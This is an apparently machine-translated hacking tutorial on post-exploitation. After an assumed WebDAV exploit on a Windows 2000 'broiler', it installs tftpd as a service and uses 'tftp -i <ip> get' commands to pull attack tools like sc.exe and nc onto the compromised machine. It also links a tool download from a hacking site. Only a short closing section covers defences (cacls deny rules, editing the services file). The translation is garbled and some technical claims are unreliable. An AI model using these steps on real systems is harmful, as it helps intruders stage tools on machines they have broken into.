Full contact for installation and use of TFTP
Cainiao A obtained a shell by exploiting the popular WebDAV vulnerability. However, after adding an administrator account, he found that after an Administrator account is created, he cannot connect to IPC $, you cannot enable IPC $ in cmd, and a startup error is prompted. So how to upload files? Cainiao heard that FTP can be used, but FTP cannot achieve interaction in the CMD environment, which will harm people. After FTP is input, the CMD will not stop there? Cainiao is dumpfounded. Some people say that they use the echo command to write a file for downloading the program from the specified FTP, and then download it through the ftp-S: file command. This is feasible in practice, however, cainiao feels a little troublesome. What should I do?
At this moment, a sound sounded in your ears: use TFTP to make you happy. TFTP ?! @ # $ ^ & *, The cainiao thought about it for a while. I have heard of FTP. What is TFTP? Today, I will explain to the cainiao how to install and use it, its role in intrusion, and my own experiences.
I. Introduction to TFTP:
TFTP is short for Trivial File Transfer Protocol. It is translated as a simple File Transfer Protocol. It is a protocol used in the TCP/IP protocol family to transmit simple files between the client and the server, although there are a few features, it helps a lot in our intrusion.
The difference between TFTP and the FTP server that comes with Win2k and the popular Serv-U is that TFTP is carried on the UDP port; compared with FTP, TFTP is much smaller; the defect is that its data stream transmission service is not *. It does not provide access authorization and authentication mechanisms, and uses the timeout retransmission method to ensure data arrival. It uses UDP port 69. However, because it uses UDP ports, it is easy to get rid of firewall restrictions and IP Security Policies to review ports, which can be used flexibly during intrusion, this is why I want to introduce it to you.
Ii. Enable the TFTP service:
To obtain the Administrator permission. Ghost is a cute tool that comes with Microsoft. We can use it to start the TFTP service for bots, so we don't have to worry about finding the TFTP server. We can find tftp.exe in winnt/system32of Win2k, and tftp.exe in winnt/system32/dllcache. Of course, you can enter dir % WINDIR %/TFTP */s in the command line to search for the TFTP prefix program in all subdirectories of the % WINDIR % directory ). The information provided by my machine is as follows:
The volume in drive C is not labeled. The serial number of the volume is 287c-d610.
C:/winnt/system32 directory
17,680 tftp.exe
1 file, 17,680 bytes
C:/winnt/system32/dllcache directory
17,680 tftp.exe
19,728 tftpd.exe
2 files in 37,408 bytes
As you can see, there is a tftpd.exe program, which is the server program of the TFTP server. How can I enable the TFTP service for broilers and double-click it to run it? -Install? Ghost is its GUI version. See the figure below.
1: Let's take a look at its description:
C:/longker> instsrv.exe
Installand removes system services from NT
Instsrv <service name> (<EXE location> | remove) [-A <Account Name>] [-P <account password>]
Install service example:
Instsrv myservice C:/mydir/diskservice. exe
-Or-
Instsrv myservice C:/mailsrv/mailsrv.exe-A mydomain/joebob-P foo
Remove service example:
Instsrv myservice remove
Then we will install TFTP as a service:
C:/longker> instsrv "TFTP Services" C:/winnt/system32/dllcache/tftpd.exe
The service was successfuly added!
Make sure that you go into the control panel and use
The Services applet to change the account name and
Password that this newly installed Service will use
For its security context.
In this way, we have installed the TFTP service. The service name is TFTP services, and we will start it below:
C:/longker> Net start "TFTP Services"
The TFTP Services Service is starting.
The TFTP Services Service has been started successfully.
OK. The service has been started successfully. We can use fport to check the port enabling status:
1524 tftpd-> 69 udp c:/winnt/system32/dllcache/tftpd.exe
We can see that the UDP protocol is used for file transmission, and the enabled port is 69.
Or we can use the following command to query:
C:/longker> netstat-an | find "69"
Netstat-an | find "69"
UDP 202. XX. xx.165: 69 *:*
After the service is started successfully, the tftpdroot folder will be generated in the system and directory. Here we will upload and provide the downloaded files.
Here, we recommend a good TFTP server for you. It has the logging and directory setting functions and shows the transmission progress. The most important thing is that it is free and can be used on multiple platforms.
Http://5ihack.vicp.net: 88/down/show. asp? Id = 219
Iii. How to use TFTP:
TFTP comes with help information:
TFTP [-I] host [GET | put] source [destination]
-I specifies binary image transfer mode (also called
Octet). In binary image mode the file is moved
Literally, byte by byte. Use this mode when transferring binary files.
Host specifies the local or remote host.
Get transfers the file destination on the remote host
The file source on the local host.
Put transfers the file source on the local host
The file destination on the remote host.
Source specifies the file to transfer.
Destination specifies where to transfer the file.
Note:
-The I option transfers files in binary mode. Many exploit code needs to be transmitted in this mode.
The host is the host with the TFTP service enabled, either local or remote.
Get is to download the file to the running directory, and put is to upload the file to the machine that has enabled the TFTP service. Source is the name of the file to be uploaded or downloaded.
Here are a few columns:
C:/longker> TFTP-I 202. XX. xx.165 get SC .exe
TFTP-I 202. XX. xx.165 get SC .exe
Transfer successful: 63248 bytes in 1 second, 63248 Bytes/s
This is to download the SC .exe program from the perspective of the tftpservice. The speed is good :)
C:/longker> tftp-i 202. XX. xx.165 put SC .exe
TFTP-I 202. XX. xx.165 put SC .exe
Transfer successful: 63248 bytes in 1 second, 63248 Bytes/s
Upload: uploads SC .exe to the TFTP server.
4. Answers to related questions:
Because TFTP comes with Microsoft, we can use it to upload the tools we need after intruding into a machine, instead of downloading other tools. Download (a small tool that can download programs from the Web server), and then use wget to download your own toolkit.
The problem above is solved, but maybe cainiao will still encounter some problems. For example, when you want to delete the uploaded file, an error message is displayed: access is denied! What's going on? My uploaded files cannot be deleted, which is too fake. This is because the files uploaded and downloaded using TFTP have the read-only attribute by default, so we need to use attrib-R to remove its read-only attribute before deletion.
As you know, many network worms or hacker attack programs attempt to obtain command line running permissions through a certain vulnerability, worms often use the TFTP client program provided by windows to obtain required attack programs or backdoor programs, such as NC tools. For example, the popular ASP Trojan, cmd. asp can also be used to call TFTP to download the tool and obtain system administrator privileges. Readers who pay attention to security may ask, How can I prevent intruders from using TFTP in case my machine is intruded? I will introduce two methods here.
1: You can use cacls to restrict user access to the program.
C:/> cacls
Display or modify the access control table (ACL) of a file)
Cacls filename [/T] [/E] [/C] [/g User: perm] [/r user [...]
[/P User: perm [...] [/d user [...]
Filename displays the ACL.
/T to change the ACL of the specified file in the current directory and all its subdirectories.
/E. Edit the ACL without replacing it.
/C continues when an access denial error occurs.
/G User: perm grants the specified user access permission.
Perm can be: R read w Write c Change (write) f full control
/R user revokes the access permission of the specified user (only valid when used with/E ).
/P User: perm replaces the access permission of the specified user.
Perm can be: n no r read w Write c Change (write) f full control
/D the user rejects access from the specified user.
You can use wildcards to specify multiple files in the command. You can also specify multiple users in the command.
Related help information, we can disable the iusr_computernameuser's permission to run tftp.exe.
C:/> cacls C:/winnt/system32/tftp.exe/d iusr_computername
C:/> cacls C:/winnt/system32/dllcache/tftp.exe/d iusr_computername
Are you sure you want to (y/n )? Y
Processed file: C:/winnt/system32/tftp.exe
Processed file: C:/winnt/system32/dllcache/tftp.exe
C:/> TFTP
Access denied.
Obviously, we have achieved our goal. However, we can disable iusrusers' calls to cmd.exe.
2: Can we delete TFTP in the future? Otherwise, because key programs such as tftp.exe are protected by the Windows File Protection System, they cannot be changed directly. Here we will introduce another method,
Use the text editing tool to open the service file under % SystemRoot %/system32/Drivers/etc and find the corresponding line of TFTP:
Bootps 67/udp dhcps # Bootstrap Protocol server
Bootpc 68/udp dhcpc # Bootstrap Protocol Client
TFTP 69/udp # Trivial File Transfer
Replace 69/udp with 0/udp to save and exit. Let's try again to see if TFTP can be used?
How about it? The prompt "timeout occurred" has also reached our goal.
